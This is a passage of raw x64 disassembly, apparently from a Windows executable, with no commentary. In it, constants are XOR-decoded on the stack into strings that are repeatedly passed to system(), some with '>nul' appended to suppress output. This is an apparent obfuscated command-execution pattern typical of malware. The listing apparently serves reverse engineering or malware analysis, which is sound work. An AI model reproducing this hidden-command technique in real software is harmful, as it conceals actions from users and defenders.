vpxor ymm1, ymm0, ymmword [rbp + 0x4ae0]
vmovdqa ymmword [rbp + 0x4ae0], ymm1
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x4675dab5528a43c0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4b40], rax
movabs rax, 0x2a9c80d87e8c8a97
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4b48], rax
movabs rax, 0x76add1cdd5278420
lea rcx, [rbp + 0x4b40]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4b50], rax
movabs rax, 0x41c1b83c96bfc8b6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4b58], rax
movabs rax, 0xe91e870ddb8e28d6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4b60], rax
movabs rax, 0xc9d013d29c3d4c91
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4b68], rax
movabs rax, 0xd07c2f4ec878d93
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4b70], rax
movabs rax, 0xebfb36bf43f5ecee
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4b78], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4b80], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4b88], rax
movabs rax, 0x1bc8b3ba8915b74d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4b90], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4b98], rax
movabs rax, 0xc76ae968b6eb4fb7
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4ba0], rax
movabs rax, 0xe9945afdbc5834f4
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4ba8], rax
movabs rax, 0x3d35f2c6c3b4a2a1
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4bb0], rax
movabs rax, 0xebfb36d3369bd2ce
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
vmovdqu ymm0, ymmword [rbp + 0x4b80]
vpxor ymm1, ymm0, ymmword [rbp + 0x4b40]
vmovdqa ymmword [rbp + 0x4b40], ymm1
mov qword [rbp + 0x4bb8], rax
vmovdqu ymm0, ymmword [rbp + 0x4ba0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4b60]
vmovdqa ymmword [rbp + 0x4b60], ymm1
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x4675dab5528a43c0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4bc0], rax
movabs rax, 0x2a9c80d87e8c8a97
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4bc8], rax
movabs rax, 0x76add1cdd5278420
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4bd0], rax
movabs rax, 0x41c1b83c96bfc8b6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4bd8], rax
lea rcx, [rbp + 0x4bc0]
movabs rax, 0xe91e870ddb8e28d6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4be0], rax
movabs rax, 0xc9d909d29c3d4c91
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4be8], rax
movabs rax, 0x58418ba4a2d3cbe6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4bf0], rax
movabs rax, 0xebfb36bf43f5ecee
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4bf8], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4c00], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4c08], rax
movabs rax, 0x1bc8b3ba8915b74d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4c10], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4c18], rax
movabs rax, 0xc76ae968b6eb4fb7
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4c20], rax
movabs rax, 0xe9945afdbc5834f4
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4c28], rax
movabs rax, 0x3d35f2c6c3b4a2a1
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4c30], rax
movabs rax, 0xebfb36d3369bd2ce
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
vmovdqu ymm0, ymmword [rbp + 0x4c00]
vpxor ymm1, ymm0, ymmword [rbp + 0x4bc0]
vmovdqa ymmword [rbp + 0x4bc0], ymm1
mov qword [rbp + 0x4c38], rax
vmovdqu ymm0, ymmword [rbp + 0x4c20]
vpxor ymm1, ymm0, ymmword [rbp + 0x4be0]
vmovdqa ymmword [rbp + 0x4be0], ymm1
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, r13d
lea rcx, [rbp + 0x2f00]
call fcn.140040450
mov rbx, rax
lea rdx, [rbp + 0x4137]
xor eax, eax
lea rcx, [rbp + 0x44]
mov byte [rbp + 0x44], al
call fcn.14006c970
mov r10, rax
cmp byte [rax + 0x32], 0
je 0x14004f9e1
mov r8d, esi
cmp r15d, 2
jl 0x14004f9a3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14004f8b0
cmp r8d, 0x33
jge 0x14004f9e1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x33
jl 0x14004f9b0
mov r8, rbx
lea rcx, [rbp + 0x2f20]
mov rdx, r10
call fcn.140073bb0
mov rdx, rax
lea r8, str.0M_PRO
lea rcx, [rbp + 0x2f40]
call fcn.140073ce0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2f60]
call fcn.140073ce0
mov rcx, rax
call fcn.14002b430
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2f60]
call fcn.14002b440
lea rcx, [rbp + 0x2f40]
call fcn.14002b440
lea rcx, [rbp + 0x2f20]
call fcn.14002b440
lea rcx, [rbp + 0x2f00]
call fcn.14002b440
mov edx, 0xf
lea rcx, [rbp + 0x2f80]
call fcn.140040450
mov rbx, rax
lea rdx, [rbp + 0x3c82]
xor eax, eax
lea rcx, [rbp + 0x45]
mov byte [rbp + 0x45], al
call fcn.14006c9b0
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x14004fbe1
mov r8d, esi
cmp r15d, 2
jl 0x14004fba3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14004fab0
cmp r8d, 0x31
jge 0x14004fbe1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x31
jl 0x14004fbb0
mov r8, rbx
lea rcx, [rbp + 0x2fa0]
mov rdx, r10
call fcn.140073bb0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2fc0]
call fcn.140073ce0
mov rcx, rax
call fcn.14002b430
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2fc0]
call fcn.14002b440
lea rcx, [rbp + 0x2fa0]
call fcn.14002b440
lea rcx, [rbp + 0x2f80]
call fcn.14002b440
xor eax, eax
lea rdx, [rbp + 0x46e2]
lea rcx, [rbp + 0x46]
mov byte [rbp + 0x46], al
call fcn.14006c9e0
mov r10, rax
cmp byte [rax + 0x39], 0
je 0x14004fdb1
mov r8d, esi
cmp r15d, 2
jl 0x14004fd73
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x38
jl 0x14004fc80
cmp r8d, 0x3a
jge 0x14004fdb1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x3a
jl 0x14004fd80
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
movabs rcx, 0xebfb36d3369bd2ce
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x4675dab5528a43c0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4c40], rax
movabs rax, 0x2a9c80d87e8c8a97
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4c48], rax
movabs rax, 0x76add1cdd5278420
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4c50], rax
movabs rax, 0x41c1b83c96bfc8b6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4c58], rax
movabs rax, 0xe91e870ddb8e28d6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4c60], rax
movabs rax, 0xc9df09d29c3d4c91
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4c68], rax
movabs rax, 0x51409cf8e3e1e9f2
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4c70], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4c78], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4c80], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4c88], rax
movabs rax, 0x1bc8b3ba8915b74d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4c90], rax
movabs rax, 0x2fa0d557e5debcea
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4c98], rax
movabs rax, 0xc76ae968b6eb4fb7
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4ca0], rax
movabs rax, 0xe9945afdbc5834f4
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4ca8], rax
movabs rax, 0x3d35f2c6c3b4a2a1
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4cb0], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0x4c40]
mov rax, qword [rbp + 0x10]
vmovdqu ymm0, ymmword [rbp + 0x4c80]
vpxor ymm1, ymm0, ymmword [rbp + 0x4c40]
vmovdqa ymmword [rbp + 0x4c40], ymm1
mov qword [rbp + 0x4cb8], rax
vmovdqu ymm0, ymmword [rbp + 0x4ca0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4c60]
vmovdqa ymmword [rbp + 0x4c60], ymm1
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0xf
lea rcx, [rbp + 0x2fe0]
call fcn.140040450
mov rbx, rax
xor eax, eax
lea rdx, [rbp + 0x3cb3]
mov byte [rbp + 0x47], al
lea rcx, [rbp + 0x47]
call fcn.14006ca20
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x140050101
mov r8d, esi
cmp r15d, 2
jl 0x1400500c3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14004ffd0
cmp r8d, 0x31
jge 0x140050101
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x31
jl 0x1400500d0
mov r8, rbx
lea rcx, [rbp + 0x3000]
mov rdx, r10
call fcn.140073bb0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x3020]
call fcn.140073ce0
mov rcx, rax
call fcn.14002b430
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x3020]
call fcn.14002b440
lea rcx, [rbp + 0x3000]
call fcn.14002b440
lea rcx, [rbp + 0x2fe0]
call fcn.14002b440
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x4675dab5528a43c0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4cc0], rax
movabs rax, 0x2a9c80d87e8c8a97
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4cc8], rax
movabs rax, 0x76add1cdd5278420
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4cd0], rax
movabs rax, 0x41c1b83c96bfc8b6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4cd8], rax
movabs rax, 0xe91e870ddb8e28d6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4ce0], rax
movabs rax, 0xc9d918d29c3d4c91
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4ce8], rax
movabs rax, 0x58418ba4a2d3cbe6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4cf0], rax
movabs rax, 0xebfb36bf43f5ecee
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4cf8], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4d00], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4d08], rax
movabs rax, 0x1bc8b3ba8915b74d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4d10], rax
movabs rax, 0x2fa0d557e5debcea
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4d18], rax
movabs rax, 0xc76ae968b6eb4fb7
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4d20], rax
movabs rax, 0xe9945afdbc5834f4
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4d28], rax
movabs rax, 0x3d35f2c6c3b4a2a1
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4d30], rax
movabs rax, 0xebfb36d3369bd2ce
mov qword [rbp + 0x10], rax
lea rcx, [rbp + 0x4cc0]
mov rax, qword [rbp + 0x10]
vmovdqu ymm0, ymmword [rbp + 0x4d00]
vpxor ymm1, ymm0, ymmword [rbp + 0x4cc0]
vmovdqa ymmword [rbp + 0x4cc0], ymm1
mov qword [rbp + 0x4d38], rax
vmovdqu ymm0, ymmword [rbp + 0x4d20]
vpxor ymm1, ymm0, ymmword [rbp + 0x4ce0]
vmovdqa ymmword [rbp + 0x4ce0], ymm1
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, r13d
lea rcx, [rbp + 0x3040]
call fcn.140040450
mov rbx, rax
lea rdx, [rbp + 0x416a]
xor eax, eax
lea rcx, [rbp + 0x48]
mov byte [rbp + 0x48], al
call fcn.14006ca50
mov r10, rax
cmp byte [rax + 0x32], 0
je 0x1400504a1
mov r8d, esi
cmp r15d, 2
jl 0x140050465
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140050372
cmp r8d, 0x33
jge 0x1400504a1
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x33
jl 0x140050470
mov r8, rbx
lea rcx, [rbp + 0x3060]
mov rdx, r10
call fcn.140073bb0
mov rdx, rax
lea r8, str.0M_PRO
lea rcx, [rbp + 0x3080]
call fcn.140073ce0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x30a0]
call fcn.140073ce0
mov rcx, rax
call fcn.14002b430
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x30a0]
call fcn.14002b440
lea rcx, [rbp + 0x3080]
call fcn.14002b440
lea rcx, [rbp + 0x3060]
call fcn.14002b440
lea rcx, [rbp + 0x3040]
call fcn.14002b440
xor eax, eax
movabs rbx, 0x2fa0d557e5debcea
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x4675dab5528a43c0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4d40], rax
movabs rax, 0x2a9c80d87e8c8a97
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4d48], rax
movabs rax, 0x76add1cdd5278420
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4d50], rax
movabs rax, 0x41c1b83c96bfc8b6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4d58], rax
movabs rax, 0xe91e870ddb8e28d6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4d60], rax
movabs rax, 0xc9c218d29c3d4c91
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4d68], rax
movabs rax, 0x530bd2f6f29a96d7
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4d70], rax
movabs rax, 0xebfb36d3369bbebb
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4d78], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4d80], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4d88], rax
movabs rax, 0x1bc8b3ba8915b74d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4d90], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4d98], rax
movabs rax, 0xc76ae968b6eb4fb7
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4da0], rax
movabs rax, 0xe9945afdbc5834f4
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4da8], rax
lea rcx, [rbp + 0x4d40]
movabs rax, 0x3d35f2c6c3b4a2a1
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4db0], rax
movabs rax, 0xebfb36d3369bd2ce
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
vmovdqu ymm0, ymmword [rbp + 0x4d80]
vpxor ymm1, ymm0, ymmword [rbp + 0x4d40]
vmovdqa ymmword [rbp + 0x4d40], ymm1
mov qword [rbp + 0x4db8], rax
vmovdqu ymm0, ymmword [rbp + 0x4da0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4d60]
vmovdqa ymmword [rbp + 0x4d60], ymm1
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x4675dab5528a43c0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4dc0], rax
movabs rax, 0x2a9c80d87e8c8a97
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4dc8], rax
movabs rax, 0x76add1cdd5278420
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4dd0], rax
movabs rax, 0x41c1b83c96bfc8b6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4dd8], rax
movabs rax, 0xe91e870ddb8e28d6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4de0], rax
movabs rax, 0xc9c018d29c3d4c91
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4de8], rax
movabs rax, 0x530bd2f6f29a96d7
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4df0], rax
